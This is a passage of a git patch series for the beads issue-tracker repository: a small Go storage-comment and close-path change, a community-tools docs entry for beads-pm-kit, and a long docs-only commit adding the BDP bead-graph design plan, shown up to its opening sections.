and are not recorded here; a racing pair where the last committer adds -// a blocker can leave a dependent flagged ready while blocked. +// way and are not recorded here, and the residue they leave runs in both +// directions. A racing pair whose last committer adds a plain blocks edge can +// leave a dependent flagged ready while blocked. A parent-child add is not +// monotonic, though — an already-closed child can satisfy an any-children +// waits-for gate (see addDependencyInTx) — so an add of a still-open child +// racing the close of that child leaves the waiter flagged blocked while +// ready and hidden from `bd ready`: the #6716 shape itself, reached through +// `bd dep add` or `bd create --parent`. // // # What is scoped, and what is not // diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 899a265dc..5f571b62d 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,7 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } - noteBlockedRecheck(tx, "close of "+id, []string{id}, affectedIssues, affectedWisps) + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, string(types.StatusClosed)), []string{id}, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal — nor the From 16873dd2bdf89e8d46c2c1f9144d0b09c6badb30 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?B=C3=B9i=20Phan=20Vi=E1=BA=BFt=20C=C6=B0=E1=BB=9Dng?= <34797498+cuongbphv@users.noreply.github.com> Date: Tue, 29 Sep 2026 11:22:15 +0700 Subject: [PATCH 210/624] docs(community-tools): add beads-pm-kit (#6239) Add beads-pm-kit to the orchestration section: ten PM skills for running a Beads board (split, estimate, take, loop, fleet, pm-loop, report, forecast, audit, handoff), installable with `npx skills add cuongbphv/beads-pm-kit`. The entry is sized to match its neighbours in the section. --- docs/community-tools.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/community-tools.md b/docs/community-tools.md index 6de64538d..8ba7af45f 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -85,6 +85,8 @@ Install with `uv tool install git+https://github.com/jklenk/thread`. Built by [@ - **[LoopTroop](https://github.com/looptroop-ai/LoopTroop)** - Local AI coding orchestrator for automated task planning, execution, and feedback loops. Uses a Beads-inspired methodology with LLM Council consensus and worktree isolation. Built by [@looptroop-ai](https://github.com/looptroop-ai). (Node.js/TypeScript) +- **[beads-pm-kit](https://github.com/cuongbphv/beads-pm-kit)** - Ten skills that let an agent run a Beads board the way a project manager does: split a spec into sized beads, estimate from measured history, take and loop through ready work, run a batch in parallel worktrees, report progress, forecast an ETA (or refuse to give a date), audit "already done" claims, and hand off a session. One authored copy builds for Claude Code, Cursor, Codex and Antigravity; all reads and writes go through the `bd` CLI. Install with `npx skills add cuongbphv/beads-pm-kit`. Built by [@cuongbphv](https://github.com/cuongbphv). (Markdown/Node.js/Python) + ## Mail Delegates - **[aweb beads-mail](https://aweb.ai/docs/beads-mail/)** - Gives `bd mail` a mail provider in any beads repo: `npm i -g @awebai/aw`, `aw init`, `bd config set mail.delegate "aw beads-mail"`. [aweb](https://github.com/awebai/aweb) is an open-source communication layer for AI agents: each agent gets a stable identity and address, mail and chat are stored durably on a server so recipients can be offline, and a wake-up event tells the recipient's runtime (Claude Code, Pi, Codex, or any process reading the event stream) that work is waiting. Identities are either local, routable only inside one team, or global, addressable as `domain/name` across organizations and across independently run servers, which federate with each other. Messages are signed by the sender's own key and verified against a public registry, so `From:` is an identity rather than a caller-asserted name. MIT; run the whole stack yourself with Docker, or use the hosted service at app.aweb.ai. Built by [@juanre](https://github.com/juanre). (Go/Python) From fa3edf78a5a8d9f2c661c9f0ec9f422a2a0f685a Mon Sep 17 00:00:00 2001 From: Donna Box Date: Mon, 28 Sep 2026 22:12:19 -0700 Subject: [PATCH 211/624] BDP bead-graph plan and W-arch design docs (P-1 rulings complete; docs-only) (#6154) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * BDP bead-graph plan: seven-round converged design (v7, SOUND) The plan for implementing BDP natively in this repo, driven through seven adversarial review rounds at max effort. Headlines: - Pinned to BDP aee075f5 (the owned-Links rulings); spec-first enforced. - v0 Scope serves NATIVE beads/links only. The Issue/Dependency projection was withdrawn on proven counterexamples (rounds 3-5): no read-side mechanism can satisfy BDP's revision and identity laws over a store permitting timestamp ties, stale imports, arbitrary SQL, and identity resurrection. The counterexample record and §2b conflict inventory are preserved as the C-lane requirements list. - §2b: fifteen-row inventory of where BDP and the current stack disagree. - C lane sketched: funnel (C1 compat-shim-over-graph-storage → C3 cutover) vs observe (C2 storage-level trigger feed), all claims as verification tasks. - Native design: graph model + graphops trait, GraphReadSource resolution honoring the tree's decorator/telemetry discipline, persisted Type Descriptor store with installation lifecycle, allocation/tombstone ledger, replication participation matrix, provable P-1..P3 exits. - Twelve P-1 decisions enumerated for operator ruling. Co-Authored-By: Claude Fable 5 * Plan: the storage interfaces, concretely (operator request) Member-by-member attachment: Storage unchanged (GraphCapable as separate optional interface on DoltStore); no decorator forwarding (targeted-peel resolution, telemetry re-wrapped); the snapshot lease as the one new storage primitive (request-scoped transaction lifetime vs per-call withReadTx, pool/timeout design named); normal migration series; serve role-source entry with non-capable fallback; backend/ additive+gated; issueops/journal/sync untouched. Co-Authored-By: Claude Fable 5 * Plan: storage-interfaces round-8 fixes UOW lease cannot ride RunTxRead (it closes its unit of work on return) — OpenSnapshot owns a direct NewUOW, Close rolls back; telemetry wrapper does not promote inner methods — resolver inspects through it and explicitly re-wraps; capability contract closed (graphops.Store = read surface for v0, ErrGraphUnsupported vs operational failure, in-tree-only exposure); bd serve gets an optional graph field + conditional route seam, not a mandatory role-table entry, with absent/broken/uninitialized kept distinct; ScopeResolver named the one snapshot owner with detached bounded close (cancelled-context rollback burns the connection); conformance description corrected (RunUnsupportedContract proves refusals; GraphCapable becomes a completeness-guard root if opened). Co-Authored-By: Claude Fable 5 * Plan v8: round-9 reconciliation Resolver signatures unified on the error contract everywhere; graphops.Store defined (v0 alias of GraphReadSource, package ownership stated, UOW-to-Scope adaptation named); decision 12 kept open with the uninitialized state explicitly represented under either branch; serve assembly names both source-appropriate resolvers; header reflects the nine-round record. Co-Authored-By: Claude Fable 5 * Plan v8: round-10 reconciliation — resolver pair named everywhere; package ownership cycle-free Co-Authored-By: Claude Fable 5 * Plan v8: resolvers to neutral graphsource package — the actual cycle-free layout uow already imports storage, so the provider-arm resolver cannot live in package storage. Both resolvers move to internal/storage/graphsource, a separate assembly package importing storage+uow+graphops, consumed only by composition roots; GraphCapable stays in storage (leafward import of graphops). Signatures fully qualified. Co-Authored-By: Claude Fable 5 * Plan v8: align the remaining resolver sketch (package clause + qualified types) Co-Authored-By: Claude Fable 5 * Plan v9: ruling tranche 1 — terminology, charter, withdrawal, S1, Scope URL, authority model - Terminology block: 'graph beads / graph links / the graph store' replace 'native' (which reads as the existing implementation inside this repo); 'the bead graph' names ruling 1's union concept. Swept throughout. - Ruling 1 (charter): core; amendment follows working bits; scope = the bead graph expands to non-work-tracking information (wisps the example). - Ruling 5: projection withdrawal ratified (wisps included). - Ruling 2: substrate S1. - Ruling 7a: Scope URL mirrors BDP's pinned startup contract. - Ruling 9 (corrected model): the authority is the graph store as reached through the NORMALIZED STORAGE ABSTRACTION, whichever provider realizes it — not bd serve, not Dolt. Marker, serialized history, non-authority refusal, and the snapshot lease are contract obligations proven by the graph conformance suite; CLI verbs and the BDP handler are both clients. Consequence: the graph capability is part of the PUBLIC backend/ contract from P1 (flips the in-tree-only hedge); §4 reframed with Dolt as reference realization. Co-Authored-By: Claude Fable 5 * Plan v10: ruling tranche 2 — restore, lifecycle commands, ledger, journal, wisps, listener All twelve P-1 decisions are now ruled (one spelling open): - 11 restore vs identity: layered — restorable append-only ledger with provider-declared survival; Scope-URL + epoch rotation when preservation cannot be guaranteed (spec: identity-losing restore = different Scope). - 12 (replaces empty-at-birth): store/Scope/client — bd init initializes the graph store against the interfaces; bd serve mints the Scope on first serve under a configured URL and serves it honestly empty; a client-wiring command (spelling TBD) makes the CLI a BDP client of a designated server. New §4 'Lifecycle commands'. - 3 ledger: append-only allocation record; ID test is a keyed O(1)/O(log n) lookup as a contract obligation. - 8 journal/changefeed, 6 wisps (C-lane visibility), 7b listener (same middleware path; v0 view = whole Scope per bearer token): ratified. Co-Authored-By: Claude Fable 5 * Plan v11: close P-1 — client wiring is a bd init target that reroutes above the storage abstraction bd init --bdp-server joins --server/--shared-server/--proxied-server/ --team-server/--backend as an init target; unlike those (which select the provider/topology BELOW the normalized storage interfaces) it reroutes ABOVE them, at the CLI: graph verbs become a BDP client of the designated server. Config bdp.client store|server (explicit mode) + bdp.server; env/credentials/precedence mirror dolt.mode. All twelve P-1 decisions are now ruled. Co-Authored-By: Claude Fable 5 * Plan v12: bd bdp-serve as the isolated bootstrap path; related workstreams (W-arch, W1, W2, W3) Co-Authored-By: Claude Fable 5 * W-arch: graph architecture/design + detailed CLI and storage-interface spec Two companion writeups to the plan (operator request): - BDP_GRAPH_ARCHITECTURE.md: the shape — packages, imports, roles, a read end to end, where each ruling lands — and three corrections to the plan's §4 after reading the tree's role machinery: accessors on storage.Storage (house rule; promoted through decorators by interface embedding; breaking-change-with-changelog as Memories() was) replace GraphCapable + the graphsource resolver; one-role-call-one-transaction replaces the snapshot lease for P1 (cross-request continuation stays P2's ADR); accessors carry the layers, so no peel-and-rewrap policy. - BDP_GRAPH_CLI_AND_STORAGE_SPEC.md: the diff — bd init graph bootstrap, bd init --bdp-server (config/metadata/env/precedence), bd bdp-serve flags and behavior, bd graph restore/promote, reserved verbs and the three-route accessor fork; Storage accessors, the graphops public leaf, bodies per leg, migrations, decorators, backend/ aliases, conformance contracts and gates, bdpapi + DTO generation; what does not change; open implementation questions. Co-Authored-By: Claude Fable 5 * W-arch v2: answer the three-reviewer council; six ruling amendments proposed (pending) Architecture v2: mechanism corrections separated from ruling amendments; six roles (Reader, DescriptorReader, TypeInstaller, IdentityReader, ScopeBootstrapper, AuthorityRotator); DBTX-shaped shared bodies so the UOW leg (bd serve's primary path) shares one body; replicated Scope row + clone-local dolt-ignored authority half asserted inside every read transaction; BDP rows mounted inside internal/httpapi behind route(); bd bdp serve as a thin strict command; bd bdp namespace; laws in graphops; no backend/ aliases. CLI/storage spec v2: config.yaml single source for bdp.*; BEADS_BDP_TOKEN_FILE (no env token); credentials keyed by origin+scope path; identity state table; promote CAS + fencing by expectation; bd bdp restore branching on LedgerDurability; ledger export/import lane; full DDL with utf8mb4_bin collation, Scope-relative paths, LONGBLOB canonical JSON; three censuses and every embedding surface; conformance cases the council named; bts migration coupling; Part C2 (merge funnel, federation, bd sql) replaces v1's 'does not change' claims. Plan v13: superseded-mechanism banner on §4, amended lifecycle spellings, and a PENDING 'Amendments proposed by W-arch v2' block under §9 (A1–A6 plus the DML enforcement boundary and the replication/merge ADR). * W-arch v3: answer council round 2; plan v14 reopens P-1 for amendments A1-A8 Round 2 (Gemini/Codex/Claude on v2) disproved v2's A5 premise with a live Dolt probe: DOLT_BACKUP restore carries the working set, so a dolt-ignored authority table survives restore. v3: the clone-local authority half is a gitignored .beads/graph-authority.local.json carrying a ledger high-water mark, asserted in every transaction (clone/pull arrive without it; a restore keeps it but rewinds the ledger -> ErrStateRewound). Append-only graph_ledger_events with one global sequence; graph_allocations derived; bd bdp ledger snapshot|apply continuity lane. A7: promotion fenced at the remote (CAS + push, non-fast-forward fails) with bdp.authority_heartbeat. A8: constraint #1 scoped to behavior; out-of-tree backends stub six accessors. Also: BeadGraph* accessor names (GraphCounter clash); Admin role; OwnedLinks grouped by Type URL (the pinned schema's shape); opaque Cursor from P1; expectation on descriptor reads/installs; bd bdp serve inherits errServeReadonly; CommandPath-keyed root policy; --dev-local-test removed; BDP_SCOPE_URL honored via BindEnv; no token key in config; bd backup restore marks unverified; merge entry-point inventory corrected; bts coupling stated as a release-parity gate; provenance columns; LIMIT bound+1; statement counts pinned; wire artifact in future tense. Plan v14: status reopens P-1; section 9 block A1-A8 + two decisions; section 7 superseded-names note; section 8 W-arch bullet. * W-arch v4: answer council round 3 — store-owned witness, per-topology fencing, hash-chained ledger; plan v15 Round 3 converged on the authority mechanism. v4: the authority witness is STORE-OWNED (the accessor loads it from .beads/graph-authority.local.json under an advisory lock; no request type carries authority fields — a caller-supplied expectation was forgeable from replicated rows); the file is bound to a workspace key (hostname + real path, not the shared project id), written under an exclusive lock with monotone read-modify-write and directory fsync, and only once .beads/.gitignore carries the entry (all three doctor lists). The ledger is hash-chained (prev_hash/hash) with mint/install/promote/rotate/allocate/tombstone/refuse_url events; the witness records the head {seq, hash} so a restore or a different history is refused by exact-prefix identity. A7 fencing per topology: shared SQL server -> dolt-ignored graph_authority_lease (the leases/bd-lrgn1 precedent, ephemeral heartbeats); remote-backed embedded -> Mint/Promote are fetch -> compare -> CAS -> DOLT_COMMIT -> push with non-fast-forward reset, heartbeat compares (authority_id, epoch) and fails closed after a grace, P3 writes push-on-commit; no remote -> CAS alone. A8 presented as two options, not pre-empted. A6: bdp.scope_url in tracked config.yaml; bdp.client/server/ insecure_http in untracked config.local.yaml via bd bdp client (config.yaml is git-tracked by default). bd serve never refuses on account of the graph (legacy up, rows absent on non-authority clones); bd init bootstraps only on an unminted store or the authority workspace and is silent otherwise; CommandPath-keyed policy authoritative at every leaf-name call site (list may coincide); five statements per read with LIMIT remaining+1; validator singleflight; tree corrections (14 files, ReadyClaimer CHANGELOG precedent, -0.0 attribution, facade census file, provider-arm assembly). Plan v15: operative lifecycle items 2-3 rewritten as amended (pending), backup/restore matrix row, W2 bullet, section 9 block refreshed to v4. * W-arch v5: answer council round 4 — fences by hazard on the serving leg, sequence counter, two-phase transitions; plan v16 Round 4 (Gemini/Codex/Claude on v4) converged on the authority mechanism. v5 on the tree's precedents: a single-row graph_ledger_seq counter (the journal's bd_events_seq shape; Dolt's FOR UPDATE is a no-op); fences composed by hazard rather than storage mode — a shared database gets the dolt-ignored lease that every mutation must UPDATE with one affected row (a takeover is a serialization loser), a configured remote gets DOLT_FETCH -> ancestor check (DOLT_MERGE_BASE) -> scoped commit (DOLT_ADD graph tables, never -Am) -> DOLT_PUSH with a typed non-fast-forward classifier and reset to the recorded pre-op HEAD; both when both; embedded no-remote not promotable in place. Every serving workspace is a SQL-server workspace, so the serving leg is the UOW provider and the fences live there (doltSQLProvider gains beadsDir). Only bd bdp serve mints (tracked Scope URL); bd serve converts every graph failure into rows-absent + notice. No ledger event before mint: the built-in catalog is installed inside the Mint transaction; bd init installs nothing. Two-phase transitions (pending record, recovery on load) for mint/promote/rotate/ledger-apply; LedgerApply and restore carry their own recovery predicate. Installation key (per-installation id under the user config dir + canonical path) replaces the hostname. Graph-state version = per-table DOLT_HASHOF_TABLE hashes (DOLT_HASHOF_DB moves on every heartbeat); ErrStateChanged returned without validating in the held tx, validated under singleflight by the accessor. config.local.yaml/witness/lock in all three doctor lists; bd config set bdp.scope_url refused once minted; BDP_SCOPE_URL read first. Lease table via doltIgnorePatterns + main-series + ignored-series (0055/ignored 0012 shape). update event kind; provenance on allocations; per-method statement budgets; tree corrections from round 4. Plan v16: witness wording in the section 4 banner, config split in the lifecycle banner, mint trigger in lifecycle item 2, ruling 11 spelling, section 9 block refreshed to v5. * W-arch v6: answer council round 5 (Codex, Gemini); propose A9 simplification; plan v17 Lease predicate now carries the holder installation key, a per-process nonce, the epoch, and an unexpired expires_at by database time; an expired claim is never renewed. Every replicated graph mutation (mint, promote, rotate, install, ledger apply, seeds, P3 writes) runs through one provider primitive on hazard R: fetch -> ancestor check -> record remote graph roots -> fenced transaction -> scoped commit (new RunTxScopedResult; the UOW commit hardcodes -Am today) -> push classified by a typed lift of sync.go's pushRacePattern; on a race every remote graph root is compared (any graph delta fails closed; issue-plane-only divergence keeps the commit as ErrSyncRequired; other failures keep it unpublished). Undo is soft reset + per-table DOLT_CHECKOUT when HEAD is still the op commit (verified against Dolt 2.1.8), DOLT_REVERT otherwise — never a hard reset. Transitions are multi-phase (begun/local_committed/published/config_written) with resume-or- undo recovery. Installation id created O_EXCL 0600 in the directory UserConfigYamlPath chooses. v0 serves BDP only from SQL-server workspaces (registered backends' store arm has no fence; deferred behind a GraphPublication capability). bd bdp serve mints via a staged startup (exclusive gates through a temporary source, then shared). config set/ set-many/unset refuse bdp.scope_url once a witness is held (file check); rotate refused under an overriding BDP_SCOPE_URL. LedgerApply restores anti-reuse history only (reserved allocations; counter set). Graph-state version = ordered per-table hashes of the eight replicated tables (DOLT_HASHOF_TABLE verified to exist); one singleflight coordinator per provider; descriptor cache keyed by the descriptors table hash. A8's method-set reasoning corrected (required methods promote through interface-embedding wrappers; optional interfaces do not). A9 proposed: v0 authority requires a shared database; hazard R deferred. Plan v17: A7/A8 refreshed, A9 added, lifecycle item 2 notes registered backends and the staged mint. * W-arch v7: fold the Claude reviewer's probe-backed round 5 — fence cell, counter nonce, ledger-head comparisons; plan v18 Probed on Dolt 2.1.8: concurrent transactions merge cell by cell, so a lease UPDATE fences a takeover only when both rewrite the same cell with different values, and two 'next = next + 1' increments from the same value both commit with one increment landing. v7: every lease write (grant, steal, expiry reclaim, renewal, per-mutation fence) rewrites a random 'fence' cell and predicates on the value it read; the ledger counter writes a random allocation nonce ('next' is reserved; column is next_seq); the events PK is the second guard (it converges on byte-identical rows, which the nonce prevents). Push-race classification and the heartbeat compare the remote ledger head via AS OF 'origin/main', never the (authority_id, epoch) tuple (a VM-image twin shares it). No configured remote => not promotable in place on every topology (a copied data directory under a second sql-server is a different, unobservable database). Lease holder is the workspace (installation key); admin verbs other than restore/ledger apply take the shared gate and rely on the lease so they run beside a live server; plain bd serve never runs transition recovery. Installation id: user_config_path.go resolver, BEADS_INSTALLATION_ID_FILE, per-OS-user and ephemeral-home residuals. Fresh-remote and ref-spelling rules; timedProvider getter; domain/fs gitignore writer; check D warns without a base ref. * W-arch v8: fold council round 6 — self-regrant, A9 arbiter, gate model, undo unstage step, ref spelling; plan v19 Round 6 (Gemini/Codex/Claude on v7): the Claude reviewer's live Dolt 2.1.8 probes CONFIRM the fence cell (1213 on the versioned and ephemeral paths, read-then-mutate, and disjoint-column takeovers) and the counter nonce (byte-identical events conflict). v8 closes the residuals: an expired lease still naming this workspace self-regrants (renewal and mutation extend expires_at; reads carry no expiry term; promotion only when holder or epoch differ); the lease row Mint creates is the sole proof of 'minted here' and in-place Promote requires it (A9's arbiter; clones promote only with --rotate-url); promote/rotate/install take the shared gate, restore/ledger apply the exclusive gate, stated identically everywhere; staged bd bdp serve bypasses the generic pre-run gate and takes exclusive only when there is no Scope row; transition recovery is by evidence (durable op id in the ledger event; begun-with-committed-op detected; local-committed on a shared DB finalizes; remote classified pre-head / contains op / foreign); Advance is a descendant-aware compare-and-advance; the undo unstages before the per-table checkout (a bare checkout after a soft reset reverts nothing, probed) and restores the ignored lease row; push races compare the remote ledger head (ORDER BY seq DESC LIMIT 1 — MAX(seq),hash errors under ONLY_FULL_GROUP_BY) AND the graph tables' diff, against the workspace's witness; the ref is remotes//; the classifier lifts all of isPushRaceErr; DOLT_HASHOF_TABLE('') x 8 with a stated encoding; renewal-interval bound on fenced transactions; A9 cut sheet; doctor-list membership per list; tree corrections (uow_factory forwards beadsDir; no example backend package; jira stub is a flat implementer; config unset gains an explicit guard call; config.local.yaml merge wording). * W-arch v9: fold council round 7 — honest A9 arbiter, read-path expiry, op_id column, phased undo, one staged sequence; plan v20 Round 7 (Gemini, Codex; Claude probes pending): a dolt-ignored lease row is NOT proof of 'minted here' — DOLT_BACKUP restore and a directory copy carry the working set, and Dolt's @@server_uuid is per machine (probed: identical for a same-machine copy). v9: in-place promotion is self-regrant (the lease names this workspace) or an operator --steal (an assertion of 'same database', in the class of force-push); a foreign holder's expiry alone never grants a takeover; promote --rotate-url is the bootstrap that creates the lease row for clones, copies, and restores; physical database copies are the stated operator-managed hazard; the lease row is bound to scope_url and authority_id. Protected reads self-regrant ephemerally first and require an unexpired lease inside the read; request deadline below the remaining lease interval. op_id becomes an indexed, hash-covered ledger column; the SQL-free manager asks an evidence provider; no-remote recovery executes config_intent before finalizing; undo is phased (undo_started/versioned_undone/ lease_restored), pauses renewal, and restores the lease only on the reset path and only if it still names this workspace; Advance runs a provider-supplied prefix/ancestry verifier under the file lock; one normative staged-startup sequence with an explicit shared release before exclusive; every fenced transaction carries a deadline below TTL/3 with jittered, serialized renewal; types install is uniformly exclusive; hazard-R recovery reuses the delta classifier and the watcher recognizes a pending local op; A9 topology matrix keeps the default-branch rule; transaction-bound capabilities (StateVersioner, GraphPublication, LeaseClaim) move to internal/storage/graphcap. Plan v20 mirrors A1/A7/A9. * W-arch v9: op_id on the public LedgerEvent sketch * W-arch v10: fold council round 8 — one lease predicate, read path never writes the lease, A9 propagated, transition lock held; plan v21; held for rulings Round 8 (Gemini/Codex/Claude on v9): the residuals were text-level. v10: one lease predicate everywhere (a self-held lease CASes regardless of expiry; a foreign holder is replaced only by --steal; no row -> --rotate-url; every 'expired or --steal' and 'lease Mint created here' formulation removed, including the plan's unexpired-expires_at term); protected reads SELECT first and require an unexpired lease inside the transaction, never write it (the serving leg's watcher renews; a near-expiry read fails closed; a CLI read on its own expired lease regrants once, ephemerally, before a fresh read tx — probe-backed ordering); BDP rows carry their own per-row deadline below TTL/3 (the shared route() deadline of 60s exceeds the TTL); types install exclusive in every section and the TTL/3 deadline scoped to the shared-gate context; the file lock is held from Begin through Finalize/Abandon and recovery acquires it first; LedgerApply's crash evidence is the manifest (imported op_ids are never rewritten); recovery keyed on 'hazard R in force' (any remote under A9 takes the local path) with the delta-classifier precedence incl. issue-plane-only; the undo restores the lease on either path under the same-holder guard with a fresh fence (a revert restores the Scope epoch and would orphan the lease — probed); one staged-startup sequence everywhere; A9 propagated to A5's bracket, the embedded leg, and 'CLI-only'; concurrent mint under one tracked URL settled by the ADR (interim: earlier mint wins); ephemeral-home services pin BEADS_INSTALLATION_ID_FILE; rotate beside a live server exits 3; graphcap references; INDEX (op_id); ledger snapshot shared; commandNeedsExclusiveGate learns the new verbs; depguard allowlist gains uow/graphcap; UnstageTables; dolt_log AS OF for the remote pre-head; shared staging sweep stated; matching-head restore is not a rewind; metadata. * Materialize rulings A1–A7 and A9 (2026-09-07); re-pin BDP to bdp#18 merge 0b7d86e7; plan v22, W-arch v11 Operator rulings taken one decision at a time on 2026-09-07: A1 store-asserted witness replaces the snapshot lease (ruling 9); A2 BDP rows inside httpapi, only the strict serve mints, bd serve never refuses, intra-Scope references Scope-relative and a new base URL is a rotation (7b/12); A3 the root flag --graph-mode link|dependency replaces the bd bdp prefix (the mode names the graph by its edge kind; bd link creates the selected graph's edge; policy keyed on mode + command path); link-graph.route replaces bdp.client; A4 public graphops + BeadGraph* accessors; A5 witness file + hash-chained ledger + ledger lane + LedgerDurability (retained versions to the History lane); A6 config placement (tracked scope_url, local per-workspace keys, file tokens); A7 the shared-database fence (fence cell); A9 v0 authority requires a shared database, remote half of A7 deferred to the write-profile ADR. Also folded: bdp#18 (attribution, two statuses) merged and re-pinned in §0, attribution row restored in §2b; sjarmak's accepted inputs (typed incident index; the two §2 plane statements); migration slots start at 0068 (0067 is versioned-beads Phase 1) with a CLAIMED.md registration at P0; History's store_epoch vs the graph authority epoch stated as distinct. A8 and the two decisions remain pending. * A2: record the remount-is-rotation statement in the architecture row * Materialize A8 (option A, 2026-09-07): constraint #1 scoped to behavior; out-of-tree backends take the declared source break; plan v23, W-arch v12 * Materialize ruling 13 (D1, A+B, 2026-09-07): out-of-role DML out of contract; validator with ledger accounting; session-gated triggers on the eight replicated tables; plan v24, W-arch v13 * Materialize ruling 14 (D2, option B, 2026-09-07): replication/merge ADR gates P1 with a four-law charter; P0 open; plan v25, W-arch v14 * Docs: clear four stale proposed/pending markers left after rulings 13–14 (arch §2b heading; plan matrix header, wisps row, §8 W-arch bullet, ruling 11 spelling note) * Docs: record the P0 results — 40 pinned scenarios, generator decision (Part D.3), verification rows (i)-(iii) answered with their rules; fence census over dolt_schemas queued for ruling (Part D.7) * Docs (P0 council 2026-09-07): Link endpoints symmetric (external-source Links are in the pinned fixtures), pins variable-width, error home recorded, canonical-form and UTF-8 hashing rules stated * Docs (P0 council): P0 wire wording, JCS interop caveat, conformsTo sorted in the descriptor canonical form * Docs: migration slots 0069 and later (0068 claimed by versioned-beads Phase 2 attribution_status; CLAIMED.md row c53ef8810) * Docs: P0 implementation notes from council 11's fold (Scope-URL law split, WHATWG origin model, symmetric endpoints, ledger bounds, descriptor canonical form, strict wire decoding); P0 exit met * Docs: name the graph plane's epoch columns authority_epoch at P1 to keep them distinct from the History lane's store_epoch * Docs: record the bdp#1 rulings of 2026-09-08 — wildcard ownership entry (B2/B4) and complete-or-refuse historical reads (History lane) * Docs: wildcard ownership as implemented at P0 — reserved-key sum, max reading, present-only groups, pinned-wire tripwire * Docs: OW1 ruled A — the wildcard max bounds the whole owned set; explicit max never exceeds it * Docs: bdp#21 admission law in B4 — round-trip rule refuses at admission; ledger framing exempt * Docs: B4 — CheckBeadRecord enforces both owned-set bounds at acceptance; P1's LIMIT covers the whole-set bound only * Docs: A10 solo topology (ruled B), Part D.7 fence census (ruled A), authority_epoch confirmed — 2026-09-08 * engdocs: properties are opaque — references inside properties are data, never edges (bdp#1 item 5 as amended, ruled 2026-09-08) * docs: align graph design with current BDP and versioned beads (#6154) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * docs: wire graph alignment exits and clarify pinned sources (#6154) Preserve historical P0 results, assign current-wire and serving gates, and clarify selected-profile pins and future storage delta review. Fold adjudicated source and History precision corrections without changing the ruled graph plane or adding runtime claims. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * Align graph architecture with ruled solo topology (#6154) Carry A10 into the architecture and embedded-leg summaries, reconcile minting and registry references, and record merged Read/RU dependencies alongside the published TX draft and Jim's dated checks. Preserve the formal change-request hold and phase-specific implementation/evidence gates. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * Reconcile solo authority mechanisms and remaining graph review references Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * docs: complete A10 solo authority consistency sweep Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * docs: close approved graph review follow-up nits Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box * docs: reconcile graph adoption and remaining phase gates (#6154) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Donna Box --------- Co-authored-by: Claude Fable 5 --- engdocs/BDP_BEAD_GRAPH_PLAN.md | 1467 +++++++++++++++++++++ engdocs/BDP_GRAPH_ARCHITECTURE.md | 422 ++++++ engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md | 1262 ++++++++++++++++++ engdocs/DOC_INVENTORY.md | 4 + 4 files changed, 3155 insertions(+) create mode 100644 engdocs/BDP_BEAD_GRAPH_PLAN.md create mode 100644 engdocs/BDP_GRAPH_ARCHITECTURE.md create mode 100644 engdocs/BDP_GRAPH_CLI_AND_STORAGE_SPEC.md diff --git a/engdocs/BDP_BEAD_GRAPH_PLAN.md b/engdocs/BDP_BEAD_GRAPH_PLAN.md new file mode 100644 index 000000000..bd0170aed --- /dev/null +++ b/engdocs/BDP_BEAD_GRAPH_PLAN.md @@ -0,0 +1,1467 @@ +# BDP in beads: the bead-graph plan + +**Status:** Draft v28 — feat/bead-graph — W-arch amendments **A1–A9 and rulings 13–14 RULED 2026-09-07; A10 RULED 2026-09-08**; every P-1 decision is ruled; **P0 is open**. (Thirteen adversarial review rounds: +1–7 on the whole plan, SOUND at round 7; 8–13 on the storage-interfaces +section, SOUND-ADDITION at round 13; v6 withdrew the Issue projection from +v0 on review-round-5 counterexamples; v9–v11 record the P-1 ruling tranches — all +twelve decisions are ruled; v14–v21 reopened P-1 for the nine amendments; v22–v23 record all nine ruled; v24–v25 record rulings 13–14; v26 records the 2026-09-09 source alignment and council gate/traceability corrections; v27 carries the 2026-09-10 formal-review corrections and dependency refresh; v28 records P0 Read adoption on this owning design surface and the 2026-09-12 dependency refresh; P0 current-wire completion remains open) +**Date:** 2026-09-12 (v27: 2026-09-10; v26: 2026-09-09; v1: 2026-08-31; v25: 2026-09-02) +**Owners:** Donna Box (ruling), janet (drafting/implementation) +**References:** the BDP spec (gastownhall/bdp `docs/specs/bdp.md`), beads#6051, +this repo's `backend/` conformance surface, `engdocs/PROJECT_CHARTER.md`. + +## Terminology + +- **Graph beads / graph links** — Resources in the **graph store**: the + BDP-shaped tables (beads, links, Type Descriptors, allocation/tombstone + ledger, authority marker) reached through the normalized storage + abstraction and served over BDP. ("Native" was retired: inside this repo + it reads as the existing implementation, the opposite of what was meant.) +- **The graph store** — the graph contract realized by any storage provider + (Dolt in tree is the reference realization; other providers plug in + through the same `backend/` contract). +- **Issues / Dependencies / wisps** — the existing issue stack. Unchanged, + not served over BDP in v0. +- **The bead graph** — the union concept from ruling 1: the graph beads will + eventually hold work AND non-work information (wisps being the existing + example of non-work information) once the C lane lands. + +## 0. The BDP pin, and the spec-first dependency + +The original P0 wire input targeted the BDP spec **as of the owned-Links rulings**: +**BDP commit `0b7d86e7`** (the gastownhall/bdp PR #18 merge, 2026-09-07, carried attribution for #10; supersedes the `aee075f5` pin of PR #17), +schema bundle `schemas/bdp-v0.schema.json` at that commit, Read conformance +matrix `packages/conformance/matrices/read-v1.json` at that commit +(40 scenarios: 35 normative + 5 diagnostic, all profile `read` — counted at the pin +during P0 vendoring; earlier drafts said 38). +**No implementation phase begins until the pin is written here.** BDP remains +a draft; "matrix green" exits below mean green against the *pinned* matrix, +re-pinned deliberately, never against a moving `main`. + +### P0 Read adoption record (2026-09-10) + +The current P0 contract input supersedes the original pin above with the exact +BDP Read foundation 